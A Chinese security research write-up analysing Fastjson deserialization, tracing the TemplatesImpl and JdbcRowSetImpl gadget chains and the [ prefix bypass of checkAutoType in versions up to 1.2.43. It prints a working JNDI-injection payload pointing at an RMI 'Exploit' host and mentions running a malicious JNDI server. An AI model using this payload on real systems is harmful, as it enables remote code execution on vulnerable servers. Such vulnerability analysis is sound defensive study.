fastjson反序列化
FastJson反序列化
https://su18.org/post/fastjson/
这里只是分析一下1.2.43版本的fastjson反序列化,其他版本的su18师傅写的非常详细,我就不摘抄了,如果有看不懂的建议去看上面su18师傅的文章
为了对新人友好,还是简单介绍一下用法以及常用的链
环境搭建
1 | <dependencies> |
简单使用
fastjson可以将字符串转换为对象,也可以把对象序列化为字符串。使用JSON的toJSONString方法 可以将对象转换为字符串

但是这里转化的字符串只有属性的值,无法区分是哪个类进行了序列化转化的字符串,这里就有了在JSON.toJSONString的第二个参数SerializerFeature.WriteClassName写下这个类的名字

@type关键字标识的是这个字符串是由某个类序列化而来。





通过这个demo可以看出
在使用JSON.parseObject方法的时候只有在第二个参数指定是哪个类 才会反序列化成功。在字符串中使用@type:com.liang.pojo.User指定类 会调用此类的get和set方法 但是会转化为JSONObject对象。
而使用JSON.parse方法 无法在第二个参数中指定某个反序列化的类,它识别的是@type后指定的类
而且可以看到 凡是反序列化成功的都调用了set方法。
@type 指定类
使用JSON.parse方法反序列化会调用此类的set方法
使用JSON.parseObject方法反序列化会调用此类get和set方法
Fastjosn在反序列化时默认只会反序列化public属性



想要反序列化private修饰的属性,需要在反序列化的时候加上Feature.SupportNonPublicField

TemplatesImpl 反序列化
上面知道JSON.parseObject会调用@type指定类型的get,set方法。
在TemplatesImpl中属性的get和set方法中getOutputProperties方法调用了newTransformer方法

在newTransformer中调用了getTransletInstance()

在getTransletInstance()中要调用defineTransletClasses(),保证_name不为null,_class==null

在defineTransletClasses中 重写了defineClass方法 对_bytecodes中的恶意代码进行加载。
上面其实说的是后半部分的分析。
parseObject 做了什么?
在方法体里其实也是调用了parse方法

跟进去

继续点进去:

new DefaultJSONParser()

判断了字符串开头是不是{
之后就到了DefaultJSONParse.parse() case 12这个分支:

之后初始化了map属性:new HashMap
然后调用了parseObject:
之后进入一段for循环,首先会处理空格等字符,然后获取第一个字符是",之后就会进入ch == '"'的分支


在scanSymbol中会将引号包裹的内容读出来=》@type,然后又是过滤空白字符,然后获取当前字符,如果当前字符不是:会因为不符合JSON语法直接报错,之后会获取下一个字符,然后处理空白字符

之后会对之前获取的键进行判断,判断key 是否等于 @type,判断之前传入的feature是否启用特殊字符检查(1.2.24版本以后都默认开启AutoType),之后便又通过scanSymbol获取值的内容,然后通过loadClass加载这个Class对象

跟进loadClass方法:
会从mappings中查找是否导入过相关Class对象,如果找到直接返回,否则加载

中间还会判断className开头字符是不是[或者L,结尾是不是;,之后会加载这个类,并将他放到mappings中,然后返回该对象

之后在DefaultJSONParser类中,通过getDeserializer获得当前class对象中的一些set/get方法

跟进去之后,会调用到ParserConfig.getDeserializer(),之后进入到createJavaBeanDeserializer()中

在config.getDeserializer(clazz)中最后会调用到JavaBeanInfo.build()方法

在build()中首先获取了方法、属性和构造函数:

之后会进入方法的循环:
set查找逻辑:
1、方法名长度大于等于4
2、非static方法
3、返回值为void或当前类
4、方法名以set开头

get查找逻辑:
1、方法名长度大于等于4
2、方法名以get开头
3、方法名第4个字母为大写
4、无需传参
5、返回值类型为Collection、Map的实现类或为AtomicBoolean AtomicInteger AtomicLong

之后回到DefaultJSONParser.java

跟进deserialze(),之后在parseField()上打断点:

进入parseField的重载方法

然后调用setValue(),并通过反射调用对应的setter方法设置值


poc首先要继承AbstractTranslet,因为在defineTransletClasses有检测父类

最终poc:
1 | package com.fastjson24; |
1 | Path path = Paths.get("./java/com/lucifer/TestFile.class"); |
JdbcRowSetImpl 反序列化
JdbcRowSetImpl位于com.sun.rowset.JdbcRowSetImpl下,导致反序列化的原因主要是:JNDI的动态协议解析
在这个类中有一个SetAutoCommit(),在第一次调用的时候会调用connect()方法

在connect()方法中就调用了lookup()

所以对应的payload:
1 | { |
这里因为lookup的参数完全可控导致了JNDI注入。
fastjson-1.2.43
1.2.25 <= fastjson <= 1.2.43
使用的payload:
1 | {"@type":"[Lcom.sun.rowset.JdbcRowSetImpl;"[,{"dataSourceName":"rmi://127.0.0.1:1099/Exploit","autoCommit":true} |
调试代码如下,在parseObject()处打断点就可以了
1 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true); |
这里是用的JdbcRowSetImpl这条链子,可能还需要开启一下恶意的jndiServer
前面的调用栈很简单,上面在parseObject()中也调试过了,不再赘述
1 | at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:989) |
主要看checkAutoType(),这里做了针对1.2.42补丁绕过的修补:

只要出现两个LL开头直接抛出异常
这个需要用到另一个loadClass中的逻辑来绕过

在className前加[就可以进入这个逻辑,这个逻辑返回了一个Array的Class对象,成员类型是咱们的恶意类,com.sun.rowset.JdbcRowSetImpl,之后会进入parseArray中会将成员类型也反序列化的。
先说一下目前为止的调用逻辑:JSON.parseObject()==>ParserConfig.checkAutoType()在这个checkAutoType中会检查你的@type后面传入的className是否是以两个LL开头,如果是直接抛出异常,之后就是检测className是否在黑名单中,所以这里要用[去绕过==>TypeUtils.loadClass()在loadClass中会检测className的第一个字母是否是[,如果是会去掉之后再次调用loadClassName(),之后就返回Array的Class对象,这中间省略了一些函数调用栈
然后就回到了DefaultJSONParser.parseObject(),这里有一个判断,判断下一个JSON token是不是},如果是就直接调用空参构造方法,返回构造对象。
由于payload下一个token是[,所以就到了deserializer.deserialze()中,至于为什么要在payload中写一个[,下面会有答案

之后又到了parseArray()中,这里的componentType就是com.sun.rowset.JdbcRowSetImpl

在parseArray()验证了当前toekn如果不是[直接抛出异常


加]就可跳出这个报错,这里需要注意这个]一定要加在逗号之前,因为JSONLexer.nextToken() 用于读取并返回 JSON 字符串中的下一个令牌(token)。在 JSON 中,令牌可以是 JSON 对象的开始 {、结束 },JSON 数组的开始 [、结束 ],JSON 键值对之间的逗号 ,,字符串值,数字值,布尔值,null 值等等。解析器通过逐个读取这些令牌来构建整个 JSON 结构。
config.getDeserializer()获取到了type的属性和方法,

在getDeserializer(type)中又调用了JavaBeanInfo.build(),JavaBeanInfo 类的属性提供了关于 JavaBean 结构的详细信息,使 Fastjson 能够更灵活地处理不同类型的 Java 对象。

在这段代码里fastJson还判断了是否可以生成ASM字节码,如果目标类符合条件,asmEnable为true,然后创建JavaBeanDeserializer


然后返回了实例作为(ObjectDeserializer)deserializer,并在下面设置了nextToken()所期望的类型,这就导致,不能成为下一个token,必须要是{,否则后面会报错


之后就会进入deserializer.deserialze(this,type,i),这里的type就是com.sun.rowset.JdbcRowSetImpl

这个deserializer就是刚刚生成的ASM字节码的实例化对象,然后调用deserialze(),这里在IDEA中无法调试,这是运行时动态生成的,IDEA无法找到对应的类,但是我们可以根据上面的code,code就是一个bytes数组,只需要将这个数组写到文件里,在IDEA打开就可以看到反编译后的java代码

这个函数最后调用了parseRest()

之后跟进deserialze(),就是判断token如果不是{或者,就报错

然后回根据之前获取到的JdbcRowSetImpl类字段列表依次和JSON字符串中的属性匹配,如果在JSON字符串中出现就会调用对应的set方法设置值


在调用这个set方法前,已经将dataSource赋值了,那dataSource是在什么时候赋值的呢?

只有可能在这个FastjsonASMDeserializer_1_JdbcRowSetImpl.class中赋值的,但是为什么没有给AutoCommit赋值呢?

payload的执行结果如下所示:

中间产生的小插曲:
接下来的测试过程中,出现了这个报错,爆出了具体的版本,记录一下payload
1 | String json = "{" + |








